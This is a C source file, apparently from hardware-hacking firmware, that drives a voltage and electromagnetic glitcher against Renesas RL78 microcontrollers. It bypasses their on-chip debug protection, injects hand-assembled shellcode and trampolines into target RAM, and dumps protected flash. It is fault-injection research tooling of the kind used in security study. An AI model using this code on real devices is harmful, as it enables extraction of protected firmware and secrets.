#include #include #include #include #include #include #include #include #include #include "pinout.h" #include "tool78_hw.h" #include "tool78_cmds.h" #include "glitch.h" void cli_tool78_glitch_dump(void); void cli_tool78_glitch_paramsearch(void); void cli_tool78_glitch_ocd_dump(void); void cli_tool78_glitch_param_g10(void); void cli_tool78_glitch_ocd_g10(void); #define DUMP_OFFSET 0xef000 #define DUMP_SIZE 4096/*65536*/ // test with decoupling caps: length in 20..500(..1500) -> ok // testing on ocd lock: length: 5..35 /* hw inited baudrate result=0xc1 common st=193 result: 0xc1 ver=0000 init: 193 */ /* baudrate result=0x06 result: 0x06. sig: 0x10 0x00 0x06 0x52 0x35 0x46 0x31 0x30 0x31 0x45 0x45 0x20 0x20 0xff 0xff 0x00 0x00 0x00 0x00 0x03 0x00 0x03 secget: 0x06 sec: flg=fe bot=03 fsws=0000 fswe=003f */ //void trl78_uart1_set_exclusive(bool ex); static uint8_t databuf[DUMP_SIZE]; static struct glitch_param_randrange offset; static struct glitch_param_randrange/*adc*/ length; //static struct glitch_param_const length; static bool glitch_init_core1_stuff(bool exttrig, uint glitchpin) { offset.min = 10*1000; offset.max = 35433*1000; length.min = 100; length.max = /*10*50*/26*1000; //length.value = 5*1000; // 5 us #if PINOUT_USE_DRAGONZAP //length.adc_index = 0;//999; #else //length.adc_index = 999; #endif glitch_param_randrange_init(&offset); //glitch_param_const_init(&length); glitch_param_randrange_init(&length); //glitch_param_adc_init(&length); // REGC = 2.11V / 0.47..1 uF // WUFM: REGC = 1.80V // BUT: OCD mode: always 2.1! static struct glitch_params gparam = (struct glitch_params){ //.offset_min_ns = 10*1000, //.offset_max_ns = 35433*1000, // with REGC & 10uF Vcc: //.length_min_ns = -1,//10,//-1,//20, //.length_max_ns = 10000,//*8, // with REGC: /*.length_min_us = 4000, .length_max_us = 6300,*/ // without REGC: /*.length_min_us = 20, .length_max_us = 70,*/ // best glitch voltages (REGC: 1uF): // * with REGC, long pulses: 1700mV // * no REGC, short pulses: 1300mV // * REGC@VDD, long pulses: 42mV // * REGC@VDD, short pulses: 0V // * with REGC, 10uF@VDD, long pulses: 0..3mV (strict upper limit) // * 100uF@VDD: too much, even w/o REGC .trigger_in_pin = -2, .glitch_out_pin = -2,//glitchpin,//GLITCH_OUT_PIN, .trigger_in_polarity = glitch_positive, .glitch_out_polarity = glitch_positive, .impl = glitch_impl_pio,//core1, }; gparam.glitch_out_pin = glitchpin; gparam.offset_ns = (struct glitch_param){ .ud = &offset, .getter = glitch_param_randrange_fn }; gparam.length_ns = (struct glitch_param){ .ud = &length, .getter = glitch_param_randrange_fn,//adc_fn }; gparam.trigger_in_pin = exttrig ? TRIGGER_IN_PIN/*7*/ : (-1); return glitch_ready(&gparam); } static void glitch_init_pwm_stuff(void) { const float dutycycle = (2.1f + 0.00f) / 3.3f + 0.0125f;//25f /* calibration (more) */; const int PIN_PWM_VREG = 22; const uint32_t pwm_period = /*5*/500; // 200 Hz at a 1 MHz clock freq uint32_t sliceno = pwm_gpio_to_slice_num(PIN_PWM_VREG); pwm_set_clkdiv_int_frac(sliceno, (uint8_t)(clock_get_hz(clk_sys)/1e6f), 0); // 1 MHz clock pwm_set_wrap(sliceno, pwm_period); // total period pwm_set_chan_level(sliceno, pwm_gpio_to_channel(PIN_PWM_VREG), (uint32_t)(pwm_period*dutycycle)); pwm_set_phase_correct(sliceno, true); pwm_set_output_polarity(sliceno, false, false); pwm_set_clkdiv_mode(sliceno, PWM_DIV_FREE_RUNNING); pwm_set_enabled(sliceno, true); gpio_set_function(PIN_PWM_VREG, GPIO_FUNC_PWM); } static uint8_t exec_jmp_to_ram[] = { 0xfc, 0x00, 0xf9, 0x0f, // call !!ff900 0xd7, // ret }; static uint8_t DATA_test_dbg__paramtest[102] = { 0x71, 0x7b, 0xfa, 0xf5, 0xf0, 0x02, 0xf5, 0x78, 0x00, 0x71, 0x6a, 0xa4, 0xcf, 0x76, 0x00, 0x01, 0xce, 0x22, 0x00, 0xf5, 0x62, 0x00, 0xf5, 0x77, 0x00, 0xf5, 0x79, 0x00, 0xf5, 0x75, 0x00, 0xf5, 0x7c, 0x00, 0xce, 0x02, 0x00, 0xce, 0x02, 0xff, 0x30, 0x00, 0xfa, 0x16, 0x52, 0x00, 0x53, 0xff, 0x51, 0x00, 0x81, 0x93, 0xdf, 0xfc, 0x92, 0x61, 0xf9, 0xdf, 0xf3, 0xce, 0x02, 0x00, 0x52, 0x18, 0x53, 0xff, 0x93, 0xdf, 0xfd, 0x92, 0xdf, 0xf8, 0x51, 0x48, 0xfc, 0xa1, 0xff, 0x0e, 0x51, 0x69, 0xfc, 0xa1, 0xff, 0x0e, 0x50, 0xaa, 0x52, 0x00, 0x92, 0x61, 0xe9, 0x61, 0x78, 0xfc, 0xa1, 0xff, 0x0e, 0xd2, 0xdf, 0xf4, 0xef, 0xbf }; static uint8_t dumper_shellcode[0x26] = { //0xe0, 0x07, 0x26, // 0xF07E0 location, 0x26 length of packet 0x41, 0x00, 0x34, 0x00, 0x00, 0x00, 0x11, 0x89, 0xFC, 0xA1, 0xFF, 0x0E, 0xA5, 0x15, 0x44, 0x00, 0x00, 0xDF, 0xF3, 0xEF, 0x04, 0x55, 0x00, 0x00, 0x00, 0x8E, 0xFD, 0x81, 0x5C, 0x0F, 0x9E, 0xFD, 0x71, 0x00, 0x90, 0x00, 0xEF, 0xE0 }; static uint8_t G1M_payload_1[] = { 0xcb, 0xf8, 0xc0, 0xfe, // movw sp, #0xfea0 0xec, 0xba, 0xff, 0x0e, // br !!0xeffba }; static uint8_t G1M_payload_2[] = { 0xec, 0x00, 0xfe, 0x0f, // br !!ffe00 }; static uint8_t G1M_paramtest[] = { 0x71, 0x7b, 0xfa, 0x51, 0x61, 0xfc, 0xdc, 0xff, 0x0e, 0xcf, 0x77, 0x00, 0x00, 0xce, 0x00, 0x00, 0xcf, 0x30, 0x00, 0x00, 0xcf, 0x50, 0x00, 0x00, 0xcf, 0x60, 0x00, 0x7f, 0xcf, 0x20, 0xff, 0x00, 0xcf, 0xf0, 0x00, 0xe5, 0xcf, 0xf3, 0x00, 0x10, 0xce, 0x00, 0xff, 0x30, 0xe0, 0xfc, 0x16, 0x52, 0x40, 0x53, 0xff, 0x51, 0x00, 0x81, 0x93, 0xdf, 0xfc, 0x92, 0x61, 0xf9, 0xd2, 0xdf, 0xf2, 0xce, 0x00, 0x00, 0x52, 0x18, 0x53, 0xff, 0x93, 0xdf, 0xfd, 0x92, 0xdf, 0xf8, 0x51, 0x48, 0xfc, 0xdc, 0xff, 0x0e, 0x51, 0x69, 0xfc, 0xdc, 0xff, 0x0e, 0x50, 0xaa, 0x52, 0x40, 0x92, 0x61, 0xe9, 0x61, 0x78, 0xfc, 0xdc, 0xff, 0x0e, 0xd2, 0xdf, 0xf4, 0xef, 0xbe, 0xd7 }; void cli_tool78_glitch_dump(void) { uint8_t passwd[10] = {0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}; uint16_t ver; enum tool78_stat st; int rr; ver=0; while (true) { st = tool78_init_ocd(&tool78_hw_rl78_uart1, &ver, passwd); if (st == 0xc3) { rr = tool78_hw_rl78_uart1.recv(1, &st, 120*1000*1000); if (rr != 1) { printf("aaaa\n"); goto deinit_bad; } } printf("result: 0x%02x ver=%04x\n", st, ver); if (st != 0xf2 && st != 0xf0) { printf("init: %d\n", st); goto deinit_bad; } break; } // can't write too much at 0xf07e0 as 0xf0800 and up contains OCD state, // overwrite this and suddenly the OCD system resets itself st = tool78_ocd_write(&tool78_hw_rl78_uart1, 0x07e0, sizeof(exec_jmp_to_ram), exec_jmp_to_ram); //printf("write shellcode res 0x%02x\n", st); if (st != 0) { printf("trampoline write failed: %d\n", st); goto deinit_bad; } st = tool78_ocd_write(&tool78_hw_rl78_uart1, 0xf900, sizeof(dumper_shellcode), dumper_shellcode); //printf("write shellcode res 0x%02x\n", st); if (st != 0) { printf("shellcode write failed: %d\n", st); goto deinit_bad; } st = tool78_ocd_exec(&tool78_hw_rl78_uart1); //printf("exec res 0x%02x\n", st); if (st != 0) { printf("exec failed: %d\n", st); goto deinit_bad; } for (size_t iii = 0; iii < DUMP_SIZE + DUMP_OFFSET; ++iii) { // wait for completion size_t off = (iii < DUMP_OFFSET) ? 0 : (iii - DUMP_OFFSET); rr = tool78_hw_rl78_uart1.recv(1, &databuf[off], 120*1000*1000); if (rr != 1) { printf("exec code: no response :/ (%d)\n", rr); goto deinit_bad; } } for (size_t iii = 0; iii < DUMP_SIZE; ++iii) { printf("%02x%s", databuf[iii], ((iii & 0xf) == 0xf) ? "\n" : " "); } deinit_bad: tool78_hw_rl78_uart1.deinit(); return; } void cli_tool78_glitch_paramsearch(void) { zap_picoemp_init(); if (!glitch_init_core1_stuff(true, ZAP_GLITCH_OUT/*GLITCH_OUT_PIN*/)) { printf("bad glitcher params!\n"); return; } uint8_t passwd[10] = {0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}; uint16_t ver; enum tool78_stat st; int rr; static uint8_t checkbuf[256]; bool first = true; restart: zap_picoemp_set_armed(false); glitch_disarm(); /*busy_wait_ms(40);*/ zap_picoemp_set_armed(true); while (!zap_picoemp_has_hv()) ; ver=0; st = tool78_init_ocd(&tool78_hw_rl78_uart1, &ver, passwd); if (st == 0xc3) { printf("aa\n"); st = 0; rr = tool78_hw_rl78_uart1.recv(1, (uint8_t*)&st, 120*1000); printf("rr=%d\n", rr); if (rr != 1) { printf("aaaa\n"); goto do_reset_stuff; } } //printf("result: 0x%02x ver=%04x\n", st, ver); if (st != 0xf2 && st != 0xf0) { printf("init: 0x%02x\n", st); goto deinit_bad; } if (first) printf("result: 0x%02x ver=%04x\n", st, ver); // can't write too much at 0xf07e0 as 0xf0800 and up contains OCD state, // overwrite this and suddenly the OCD system resets itself st = tool78_ocd_write(&tool78_hw_rl78_uart1, 0x07e0, sizeof(exec_jmp_to_ram), exec_jmp_to_ram); //printf("write trampoline res 0x%02x\n", st); if (st != 0) { printf("trampoline write failed: %d\n", st); goto deinit_bad; } st = tool78_ocd_write(&tool78_hw_rl78_uart1, 0xf900, sizeof(DATA_test_dbg__paramtest), DATA_test_dbg__paramtest); //printf("write code res 0x%02x\n", st); if (st != 0) { printf("code write failed: %d\n", st); goto deinit_bad; } st = tool78_ocd_exec(&tool78_hw_rl78_uart1); //printf("exec res 0x%02x\n", st); if (st != 0) { printf("exec failed: %d\n", st); goto deinit_bad; } // test custom tool_tx call /*rr = tool78_hw_rl78_uart1.recv(1, checkbuf, 1000); printf("rr=%d\n", rr); if (rr == 1) printf("0x%02x %c\n", stuff[0], stuff[0]);*/ // wait for completion rr = tool78_hw_rl78_uart1.recv(2, checkbuf, 120*1000); if (rr != 2) { printf("exec code: no response :/ (%d)\n", rr); goto deinit_bad; } if (checkbuf[0] != 'H' && checkbuf[1] != 'i') { printf("bad response: %02x %02x\n", checkbuf[0], checkbuf[1]); goto deinit_bad; } rr = tool78_hw_rl78_uart1.recv(256, checkbuf, 120*1000); if (rr != 256) { printf("exec code: no data sendback (%d)\n", rr); goto deinit_bad; } for (size_t i = 0; i < 256; ++i) { if (checkbuf[i] != (0xff^0xaa)) { printf("bad value at index %zu: %02x\n", i, checkbuf[i]^0xaa); goto deinit_bad; } } if (first) printf("all set, let's go\n"); first = false; while (true) { glitch_arm(); rr = tool78_hw_rl78_uart1.recv(2, checkbuf, 120*1000); glitch_disarm(); bool first_ = true; do { if (rr == 2 && (checkbuf[0] != 'H' || checkbuf[1] != 'i')) rr = 0; if (rr == 2) { rr = tool78_hw_rl78_uart1.recv(256, checkbuf, 120*1000); } if (rr <= 0) { if (!first_) break; // timeout or something printf("X"); tool78_hw_rl78_uart1.deinit(); goto do_reset_stuff; } else { int firstbad = -1, lastbad = -1; for (int i = 0; i < rr; ++i) { if (checkbuf[i] != (0xaa^0xff)) { if (firstbad == -1) firstbad = i; lastbad = i; } } if (firstbad >= 0) { volatile uint32_t *off = (volatile uint32_t*)&glitch_param_cur.offset_ns.cur, *len = (volatile uint32_t*)&glitch_param_cur.length_ns.cur; printf("glitch first=%d last=%d off=%lu len=%lu rr=%d v=%02x\n", firstbad, lastbad, *off, *len, rr, checkbuf[firstbad]^0xaa); } else { printf("."); } } first_=false; if (!zap_picoemp_has_hv()) { rr = tool78_hw_rl78_uart1.recv(2, checkbuf, 150*1000); } else break; } while (true); } deinit_bad: zap_picoemp_set_armed(false); tool78_hw_rl78_uart1.deinit(); return; do_reset_stuff: zap_picoemp_set_armed(false); tool78_hw_rl78_uart1.deinit(); // glitch for way too long to power cycle sio_hw->gpio_set = 1u << GLITCH_OUT_PIN; busy_wait_ms(16); sio_hw->gpio_clr = 1u << GLITCH_OUT_PIN; goto restart; } void cli_tool78_glitch_ocd_dump(void) { if (!glitch_init_core1_stuff(false, GLITCH_OUT_PIN)) { printf("bad glitcher params!\n"); return; } /*gpio_set_function(2, GPIO_FUNC_SIO); gpio_set_dir(2, GPIO_OUT); gpio_put(2, false);*/ //gpio_set_function(3, GPIO_FUNC_SIO); //gpio_set_dir(3, GPIO_OUT); //gpio_put(3, false); uint8_t passwd[10] = {0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}; uint16_t ver; int st, rr/*, r0, r1, r2*/; static uint8_t checkbuf[256]; bool first = true; restart: //trl78_uart1_set_exclusive(true); //tool78_hw_rl78_uart1.rx_set_stop_bit(false); //gpio_put(2, false); /*glitch_disarm(); busy_wait_ms(40);*/ ver=0; st = tool78_init_ocd(&tool78_hw_rl78_uart1, &ver, passwd); if (st == 0xc3) { //printf("aa\n"); st = 0; rr = tool78_hw_rl78_uart1.recv(1, (uint8_t*)&st, 120*1000); //printf("rr=%d\n", rr); if (rr != 1) { //printf("aaaa\n"); goto do_reset_stuff; } } if (first) printf("result: 0x%02x ver=%04x\n", st, ver); if (st == 0xc1) goto do_reset_stuff; if (st != 0x10) { printf("init: expected protect error, got %d\n", st); goto deinit_bad; } busy_wait_ms(16); // leave time to recharge // right now, the RL78 core is stuck in an infinite loop doing nothing in // the debug monitor part of its bootrom. however, the code we need is // right below it, so we can simply try to glitch it without having to meet // the timing // see https://fail0verflow.com/blog/2018/ps4-syscon/ for more info // try up to 16 times because we can't discern between a reset and a glitch // that had no effect. after 16 iterations without result, reset the RL78 // and try again. // a successful glitch will output a single null byte over the TOOL0 line // apparently we have about 95 ms until the infinite loop gets reset into // the MCU flash automatically? somehow?? I suppose it's the WDT if (first) printf("all set, let's go\n"); first = false; //tool78_hw_rl78_uart1.rx_set_stop_bit(false); glitch_arm(); for (size_t i = 0; i < 16; ++i) { //glitch_trigger_sw_core1(); glitch_trigger_sw_pio(); rr = tool78_hw_rl78_uart1.recv(1, checkbuf, 12*1000); if (rr != 1) { busy_wait_ms(1); // leave time to recharge printf("."); continue; } /*printf("checkbuf: %d", checkbuf[0]); printf("\n!!!\n");*/ tool78_hw_rl78_uart1.flags |= tool78_hw_flag_done_reset; glitch_disarm(); goto success; } glitch_disarm(); printf(":"); do_reset_stuff: tool78_hw_rl78_uart1.deinit(); // glitch for way too long to power cycle sio_hw->gpio_set = 1u << GLITCH_OUT_PIN; busy_wait_ms(16); sio_hw->gpio_clr = 1u << GLITCH_OUT_PIN; goto restart; success:; //gpio_put(2, true); //busy_wait_ms(5); // (02): read from above (checkbuf) code // 03 06 18 00 df 03 // ^-- baud rate set response // 00 // ^-- OCD entry response rr = tool78_hw_rl78_uart1.recv(7, &databuf[0], 10000); if (rr != 7) { printf("rr=%d, wut?\n", rr); goto do_reset_stuff; } busy_wait_us_32(500); ver = 0; st = tool78_ocd_version(&tool78_hw_rl78_uart1, &ver); if (st) { printf("OCD: get version failed: %d\n", st); goto do_reset_stuff; } printf("got ver! %04x\n", ver); printf("glitch len: %lu ns\n", *(volatile uint32_t*)&glitch_param_cur.length_ns.cur); /*goto do_reset_stuff;*/ st = tool78_ocd_connect(&tool78_hw_rl78_uart1, passwd); if (st != 0xf0 && st != 0xf2) { printf("OCD: connect failed: %d\n", st); goto deinit_bad; } printf("connect! 0x%02x\n", st); // can't write too much at 0xf07e0 as 0xf0800 and up contains OCD state, // overwrite this and suddenly the OCD system resets itself st = tool78_ocd_write(&tool78_hw_rl78_uart1, 0x07e0, sizeof(exec_jmp_to_ram), exec_jmp_to_ram); //printf("write trampoline res 0x%02x\n", st); if (st != 0) { printf("trampoline write failed: %d\n", st); goto deinit_bad; } st = tool78_ocd_write(&tool78_hw_rl78_uart1, 0xf900, sizeof(dumper_shellcode), dumper_shellcode); //printf("write code res 0x%02x\n", st); if (st != 0) { printf("code write failed: %d\n", st); goto deinit_bad; } st = tool78_ocd_exec(&tool78_hw_rl78_uart1); //printf("exec res 0x%02x\n", st); if (st != 0) { printf("exec failed: %d\n", st); goto deinit_bad; } for (size_t iii = 0; iii < DUMP_SIZE + DUMP_OFFSET; ++iii) { // wait for completion size_t off = (iii < DUMP_OFFSET) ? 0 : (iii - DUMP_OFFSET); rr = tool78_hw_rl78_uart1.recv(1, &databuf[off], 120*1000*1000); if (rr != 1) { printf("exec code: no response :/ (%d)\n", rr); goto deinit_bad; } } for (size_t iii = 0; iii < DUMP_SIZE; ++iii) { printf("0x%02x%s", databuf[iii], ((iii & 0xf) == 0xf) ? "\n" : " "); } printf("\ndone!\n"); deinit_bad: tool78_hw_rl78_uart1.deinit(); return; } /*static uint8_t DATA_G1M_paramtest[47] = { 0xcf, 0x77, 0x00, 0x00, 0xce, 0x00, 0x00, 0xcf, 0x30, 0x00, 0x00, 0xcf, 0x50, 0x00, 0x00, 0xcf, 0x60, 0x00, 0x7f, 0xcf, 0x20, 0xff, 0x00, 0xcf, 0xf0, 0x00, 0xe5, 0xcf, 0xf3, 0x00, 0x10, 0xce, 0x00, 0xff, 0x51, 0x48, 0xfc, 0xdc, 0xff, 0x0e, 0x51, 0x69, 0xfc, 0xdc, 0xff, 0x0e, 0xd7 };*/ void cli_tool78_glitch_param_g10(void) { struct tool78_hw* hw = &tool78_hw_rl78g10_uart1; zap_dac_set_enable(zap_dac_a | zap_dac_b); #if 1 /* MCP48x2 */ zap_dac_set_mulx2(zap_dac_a | zap_dac_b); #else zap_dac_set_mulx2(0); zap_dac_set_shutdown(false); #endif /*zap_max_use_vhi_jp300(true); zap_max_set_inhibit(false);*/ zap_picoemp_init(); if (!glitch_init_core1_stuff(true, ZAP_GLITCH_OUT)) { printf("bad glitcher params!\n"); return; } uint8_t passwd[10] = {0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}; enum tool78_stat st; uint16_t vvv=0xffff; int rr; static uint8_t checkbuf[256]; volatile uint32_t *off, *len; bool first = true; restart: zap_picoemp_set_armed(false); glitch_disarm(); /*busy_wait_ms(40);*/ zap_picoemp_set_armed(true); while (!zap_picoemp_has_hv()) ; st = tool78_init_ocd(hw, NULL, passwd); if (st == 0xc3) { printf("aa\n"); st = 0; rr = tool78_hw_rl78_uart1.recv(1, (uint8_t*)&st, 120*1000); printf("rr=%d\n", rr); if (rr != 1) { printf("aaaa\n"); goto do_reset_stuff; } } //printf("result: 0x%02x ver=%04x\n", st, ver); if (st != 0xf2 && st != 0xf0) { if (st == 0xf3) { // idk //gpio_put(12, true); printf("init: 0x%02x off=%lu len=%lu vv=%03x\n", st, *off, *len, vvv); //gpio_put(12, false); goto do_reset_stuff; } else { printf("init: 0x%02x\n", st); } goto deinit_bad; } if (first) printf("result: 0x%02x\n", st); st = tool78_ocd_write(hw, 0xfed0, sizeof(G1M_payload_1), G1M_payload_1); //printf("write trampoline res 0x%02x\n", st); if (st != 0) { printf("payload 1 write failed: %d\n", st); goto deinit_bad; } st = tool78_ocd_exec(hw); //printf("exec res 0x%02x\n", st); if (st != 0) { printf("payload 1 exec failed: %d\n", st); goto deinit_bad; } st = tool78_ocd_write(hw, 0xfed0, sizeof(G1M_payload_2), G1M_payload_2); //printf("write trampoline res 0x%02x\n", st); if (st != 0) { printf("payload 2 write failed: %d\n", st); goto deinit_bad; } st = tool78_ocd_write(hw, 0xfe00, sizeof(G1M_paramtest), G1M_paramtest); //printf("write trampoline res 0x%02x\n", st); if (st != 0) { printf("real payload write failed: %d\n", st); goto deinit_bad; } st = tool78_ocd_exec(hw); //printf("exec res 0x%02x\n", st); if (st != 0) { printf("real payload exec failed: %d\n", st); goto deinit_bad; } // wait for initial pong rr = hw->recv(1, checkbuf, 120*1000); if (rr != 1) { printf("exec code pong: no response :/ (%d)\n", rr); goto deinit_bad; } if (checkbuf[0] != 'a') { printf("bad pong response: %02x %02x\n", checkbuf[0], checkbuf[1]); goto deinit_bad; } // wait for completion rr = hw->recv(2, checkbuf, 150*1000); if (rr != 2) { printf("exec code hdr: no response :/ (%d)\n", rr); goto deinit_bad; } if (checkbuf[0] == 0xff) { checkbuf[0] = checkbuf[1]; rr = hw->recv(1, &checkbuf[1], 120*1000); if (rr != 1) { printf("exec code hdr: no response :/ (%d)\n", rr); goto deinit_bad; } } if (checkbuf[0] != 'H' && checkbuf[1] != 'i') { printf("bad hdr response: %02x %02x\n", checkbuf[0], checkbuf[1]); goto deinit_bad; } const int lenlen = 0x40; rr = hw->recv(lenlen, checkbuf, 120*1000); if (rr != lenlen) { printf("exec code: no data sendback (%d)\n", rr); goto deinit_bad; } for (size_t i = 0; i < lenlen; ++i) { if (checkbuf[i] != (0xff^0xaa)) { printf("bad value at index %zu: %02x\n", i, checkbuf[i]^0xaa); goto deinit_bad; } } if (first) printf("all set, let's go\n"); first = false; gpio_init(12); gpio_set_dir(12, GPIO_OUT); gpio_set_function(12, GPIO_FUNC_SIO); gpio_put(12, false); /*gpio_init(7); gpio_set_dir(7, GPIO_IN);*/ while (true) { /*//vvv = zap_adc_read(1); vvv = (random() & 0x3ff) + 0x400; zap_dac_set_b(vvv); zap_dac_latch();*/ glitch_arm(); rr = hw->recv(2, checkbuf, 150*1000); //printf("rr=%d cb=%02x %02x\n", rr, checkbuf[0], checkbuf[1]); glitch_disarm(); bool first_ = true; do { if (rr == 2 && (checkbuf[0] != 'H' || checkbuf[1] != 'i')) rr = 0; if (rr == 2) { rr = hw->recv(lenlen, checkbuf, 150*1000); //printf("recv data rr=%d\n", rr); } if (rr <= 0) { if (!first_) break; // timeout or something printf("X"); off = (volatile uint32_t*)&glitch_param_cur.offset_ns.cur; len = (volatile uint32_t*)&glitch_param_cur.length_ns.cur; //printf("X off=%lu len=%lu vv=%03x\n", *off, *len, vvv); hw->deinit(); goto do_reset_stuff; } else { int firstbad = -1, lastbad = -1; for (int i = 0; i < rr; ++i) { if (checkbuf[i] != (0xaa^0xff)) { if (firstbad == -1) firstbad = i; lastbad = i; } } if (firstbad >= 0) { gpio_put(12, true); off = (volatile uint32_t*)&glitch_param_cur.offset_ns.cur; len = (volatile uint32_t*)&glitch_param_cur.length_ns.cur; printf("glitch first=%d last=%d off=%lu len=%lu vvv=%03x rr=%d v=%02x\n", firstbad, lastbad, *off, *len, vvv, rr, checkbuf[firstbad]^0xaa); gpio_put(12, false); } else { printf("."); //printf("NN off=%lu len=%lu vv=%03x\n", *off, *len, vvv); } } first_=false; if (!zap_picoemp_has_hv()) { rr = hw->recv(2, checkbuf, 150*1000); } else break; } while (true); } deinit_bad: zap_picoemp_set_armed(false); busy_wait_ms(500); hw->deinit(); return; do_reset_stuff: zap_picoemp_set_armed(false); busy_wait_ms(300); hw->deinit(); // glitch for way too long to power cycle //sio_hw->gpio_set = 1u << ZAP_GLITCH_OUT; busy_wait_ms(16); //sio_hw->gpio_clr = 1u << ZAP_GLITCH_OUT; goto restart; } void cli_tool78_glitch_ocd_g10(void) { // struct tool78_hw* hw = &tool78_hw_rl78g10_uart1; // // zap_dac_set_enable(zap_dac_a | zap_dac_b); //#if 1 /* MCP48x2 */ // zap_dac_set_mulx2(zap_dac_a | zap_dac_b); //#else // zap_dac_set_mulx2(0); // zap_dac_set_shutdown(false); //#endif // // zap_max_use_vhi_jp300(true); // zap_max_set_inhibit(false); // // if (!glitch_init_core1_stuff(false, ZAP_GLITCH_OUT)) { // printf("bad glitcher params!\n"); // return; // } // // gpio_set_function(2, GPIO_FUNC_SIO); // gpio_set_dir(2, GPIO_OUT); // gpio_put(2, false); // // //gpio_set_function(3, GPIO_FUNC_SIO); // //gpio_set_dir(3, GPIO_OUT); // //gpio_put(3, false); // // uint8_t passwd[10] = {0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}; // int st, rr/*, r0, r1, r2*/; // static uint8_t checkbuf[256]; // bool first = true; // //restart: // //trl78_uart1_set_exclusive(true); // //hw->rx_set_stop_bit(false); // gpio_put(2, false); // /*glitch_disarm(); // busy_wait_ms(40);*/ // // st = tool78_init_ocd(hw, NULL, passwd); // if (st == 0xc3) { // printf("aa\n"); // st = 0; // rr = hw->recv(1, (uint8_t*)&st, 120*1000); // printf("rr=%d\n", rr); // if (rr != 1) { // printf("aaaa\n"); // goto do_reset_stuff; // } // } // if (first) printf("result: 0x%02x\n", st); // if (st == 0xc1) goto do_reset_stuff; // if (st != tool78_stat_no_ocd_status) { // printf("init: expected status timeout error, got %d\n", st); // goto deinit_bad; // } // busy_wait_ms(16); // leave time to recharge // // // TODO: update description // // right now, the RL78 core is stuck in an infinite loop doing nothing in // // the debug monitor part of its bootrom. however, the code we need is // // right below it, so we can simply try to glitch it without having to meet // // the timing // // see https://fail0verflow.com/blog/2018/ps4-syscon/ for more info // // // try up to 16 times because we can't discern between a reset and a glitch // // that had no effect. after 16 iterations without result, reset the RL78 // // and try again. // // a successful glitch will output a single null byte over the TOOL0 line // // // apparently we have about 95 ms until the infinite loop gets reset into // // the MCU flash automatically? somehow?? I suppose it's the WDT // if (first) printf("all set, let's go\n"); // first = false; // // //hw->rx_set_stop_bit(false); // glitch_arm(); // for (size_t i = 0; i < 16; ++i) { // zap_dac_set_b(zap_adc_read(1)); // zap_dac_latch(); // //glitch_trigger_sw_core1(); // glitch_trigger_sw_pio(); // rr = hw->recv(1, checkbuf, 12*1000); // if (rr != 1 || checkbuf[0] == 0xff) { // busy_wait_ms(1); // leave time to recharge // printf("."); // continue; // } // // printf("checkbuf: %d", checkbuf[0]); // printf("\n!!!\n"); // hw->flags |= tool78_hw_flag_done_reset; // // glitch_disarm(); // goto success; // } // glitch_disarm(); // // printf(":"); //do_reset_stuff: // hw->deinit(); // // // glitch for way too long to power cycle // sio_hw->gpio_set = 1u << ZAP_GLITCH_OUT; // busy_wait_ms(16); // sio_hw->gpio_clr = 1u << ZAP_GLITCH_OUT; // // goto restart; // //success:; // //gpio_put(2, true); // //busy_wait_ms(5); // // (02): read from above (checkbuf) code // // 03 06 18 00 df 03 // // ^-- baud rate set response // // 00 // // ^-- OCD entry response // rr = hw->recv(4, &checkbuf[1], 10000); // if (rr != 4) { // printf("#"); // //printf("rr=%d, wut?\n", rr); // goto do_reset_stuff; // } // printf("recv %02x %02x %02x %02x %02x\n", checkbuf[0], checkbuf[1], // checkbuf[2], checkbuf[3], checkbuf[4]); // // busy_wait_us_32(500); // // printf("glitch len: %lu ns\n", *(volatile uint32_t*)&glitch_param_cur.length_ns.cur); // /*goto do_reset_stuff;*/ // // st = tool78_ocd_connect(hw, passwd); // if (st != 0xf0 && st != 0xf2) { // printf("OCD: connect failed: %d\n", st); // goto deinit_bad; // } // printf("connect! 0x%02x\n", st); // // for (size_t i = 0; i < DUMP_SIZE; i += 256) { // st = tool78_ocd_read(hw, 0x8000+i, (uint8_t)0x100, &databuf[i]); // if (st) { // printf("no read! st=%d\n", st); // } // } // for (size_t iii = 0; iii < DUMP_SIZE; ++iii) { // printf("%02x%s", databuf[iii], ((iii & 0xf) == 0xf) ? "\n" : " "); // } // // printf("\ndone!\n"); // //deinit_bad: // hw->deinit(); // return; }